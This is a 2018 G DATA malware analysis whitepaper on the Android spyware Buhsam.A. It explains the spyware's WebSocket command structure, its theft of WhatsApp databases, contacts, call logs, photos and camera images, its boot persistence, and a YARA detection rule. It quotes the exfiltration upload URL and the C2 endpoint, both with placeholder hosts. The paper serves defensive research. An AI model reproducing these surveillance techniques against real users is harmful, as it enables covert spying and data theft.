G DATA
Whitepaper 2018 – paper 05

Analysis of

Android.Trojan-Spy.Buhsam.A

G DATA Software AG | September 2018

Analysis by: https://twitter.com/RansomBleedzz

Contents

1. Introduction

The Twitter user @LukasStefanko reported in a Tweet[1] that a new android malware[2] has been found, which has lots of spying features like sending the browsing history, photos, the WhatsApp database in which all the messages are stored, and a few more. It isn't clear for which surveillance purpose the malware was created. In this report the various features of this malware are shown.

2. Structure

The malware consists of the *MainActivity.class* which starts a new service *OwnMe.class*. The source code of the associated files is found here[3] at the Github page from the user earthshakira. The *OwnMe.class* extends the Android *Service* class. If *startService()* is called, shortly after that the *onStartCommand()* function is called.

Service

A Service is an application component representing either an application's desire to perform a longer-running operation while not interacting with the user or to supply functionality for other applications to use.[4]

onStartCommand

First it displays a toast, which is a pop-up like message, to the user with the text "Service started". This makes me thinking that the malware is still under development since criminals normally want their actions to be as silent as possible in order to not raise any suspicion by the user.

Next, it defines a lot of variables like the *upLoadServerUri*, the *android_id,* the *username*, the JSON objects *ping* and *handshake*. The *handshake* object contains information an empty *battery* field and an empty *cpu* field. The empty fields, which are not assigned anywhere else, also confirm the thought that the malware is still under development and not meant for active usage right now. Once this procedure is done, the malware continues with the *startExploit()* function.

startExploit & connectWebSocket

If the malware has a connection to the internet, it proceeds to the connectWebSocket() function. The function connects to the URI *ws://ipofthec2:8080,* if an internet connection is available. When a message from the server is received, the function *onMessage()* is executed with the received message as parameter. Then it creates a JSON object *v8* which is assigned to the received message parameter. If the assigning of *v8* fails, it sends *null* to the server.

WebSockets

WebSocket URLs use the `ws` scheme. There is also `wss` for secure WebSocket connections which is the equivalent of `HTTPS`.[5]

Now we're getting to the interesting part, the functions!

3. The functionalities

Screenshot

If the message contains "screenshot", the element *response* gets the value *none* and the element *type* receives the value *response* of the JSON object *v8*. However, no actual screenshot function is called and nothing is sent to the server in here. This means that this function is yet still under development.

Whatsapp

If the message contains "whatsapp", the function *uploadWhatsApp()* is called. This function does what the name already hints. It uploads the WhatsApp database to the web c2 using the following query:
"*http://ipofthec2/db/upload_whatsapp.php?username="+username+"&device_id="+android_id.*

The *username* and the *android_id* is taken from the previously defined variables inside the *onStartCommand()* function.

Browserhistory

If the message contains "browserhistory", the element *response* from the JSON object *v8* gets the return value of the function *getHistory()*.

The function *getHistory()* returns a string containing the values id, title, time, url and visits from the users bookmarks. *GetHistory()* currently only returns the saved bookmarks and not the actual history of the mobile browser as the name suggests it.

Contacts

If the message contains "contacts", the element *response* from the JSON object *v8* gets the return value of the function *getContacts()*.

getContacts() reads the contacts of the phone and returns a string which contains the *_id* of the contact, the *display_name* and the phone numbers if they are available.

Calllog

If the message contains "calllog", the element *response* from the JSON object *v8* gets the return value of the function *getCallLogs()*.

If the application doesn't have the permission *android.permission.READ_CALL_LOG*, the function *getCallLogs()* will return "No permission". Otherwise it will iterate through the calls and add the values *name*, *number, type*, *date* and *duration* to a JSON object and returns it as string.

Fetch

If the message contains "fetch", the element *response* from the JSON object *v8* gets the return value of the function *getBase64(v8.get("path)).*

getBase64() creates a new Bitmap from the parameter provided, which should be a local path of an image file. If the image width is bigger than 480, it will be scaled and otherwise compressed. The result will be returned as string in the base64 format.

Gallery

If the message contains "gallery", the element *response* from the JSON object *v9* gets the return value of the function *v4.get(v5).toString().* This return value contains the path, the folder and the page from the SD card. The element *id* gets the value *android_id*, the element *page* gets the current page and *total* gets the total amount of pages available.

The function *mWebSocketClient.send()* sends this data to the WebSocket connection. This process is repeated until the loop reaches the maximum amount of pages available.

Camera

If the message contains "camera", the function openCameraVideo() is called with the parameter of the camera type(front or back) and the amount of frames.

If the running SDK version of the device is smaller than 21, then the specific camera is opened and takes a picture (This picture is not transmitted to the server), otherwise the function *takePictureR()* is called.

takePictureR() basically takes a picture on android devices with an SDK version higher than 21. This picture is then base64 encoded and put into a JSON object which is then sent to the WebSocket connection.

UpdateBattery

This function returns the current battery level and the CPU usage. However, there is no implementation for a message check like with the commands above and hence that command is not actively used yet.

No command provided

In the case that there is no command which can be found in the message, then the JSON object *v8* gets added the value "error" and "no command found" and then sent to the WebSocket connection.

4. Persistence

The class *BootCompletedIntentReceiver.java* extends the class *BroadCastReceiver*. Once a new broadcast is received, the function *onReceive()* checks if the string "android.intent.action.BOOT_COMPLETED" equals the intent's action. If that is the case, then the *OwnMe.class* is started as service. This means that every time the device has finished booting, the malicious app is started.

5. Yara hunting rule for the .dex

```
rule Android_Buhsam_dex_hunt
{
  meta:
    author = "Ransombleed"
    description = "Spyware that uses websockets"
  strings:
    $a = "OwnMe.java" wide nocase
    $a2 = "NetWatcher.java" wide nocase
    $a3 = "/db/upload_whatsapp.php?user_name=" wide nocase
    $a4 = "/WhatsApp/Databases/msgstore.db.crypt12" wide nocase
    $b = "WebSocket" wide nocase
    $b2 = "ws://" wide nocase
  condition:
    1 of ($a*) and 1 of ($b*)
}
```

6. File hashes and resources

[1] https://twitter.com/LukasStefanko/status/1036932411110686725

[2] SHA-256 4bed89b58c2ecf3455999dc8211c8a7e0f9e8950cb9aa83cd825b8372b1eaa3d

[3] https://github.com/earthshakira/android_hack/tree/master/App/network/app/src/main/java/com/google/android/network

[4] https://developer.android.com/guide/components/services

[5] http://blog.teamtreehouse.com/an-introduction-to-websockets

If you want to stay updated about malware, be sure to follow these accounts:

RansomBleed - My personal twitter account about the latest malware reports.

GDataSoftwareAG – G DATAs twitter company account.

Blog – The G DATA blog about all kinds of security-related news.